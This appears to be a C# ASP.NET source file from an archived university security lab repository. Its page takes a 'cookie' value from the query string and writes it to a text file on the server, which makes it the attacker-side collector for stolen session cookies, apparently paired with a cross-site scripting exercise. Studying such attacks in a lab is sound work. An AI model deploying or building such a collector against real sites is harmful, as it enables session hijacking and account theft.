This repository has been archived on 2023-12-31. You can view files and clone it, but cannot push or open issues or pull requests.
EDA263/lab3/cs_lab3/myWebApplication/WriteCookie.aspx.cs
2022-02-23 14:05:00 +01:00

24 lines
704 B
C#

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls;
using System.IO;
namespace myWebApplication
{
public partial class WriteCookie1 : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
//write the input data to disk
String cookie = Request.QueryString.Get("cookie");
String filename = AppDomain.CurrentDomain.BaseDirectory+("\\..\\cookie.txt");
System.IO.StreamWriter file = new System.IO.StreamWriter(filename);
file.WriteLine(cookie);
file.Close();
}
}
}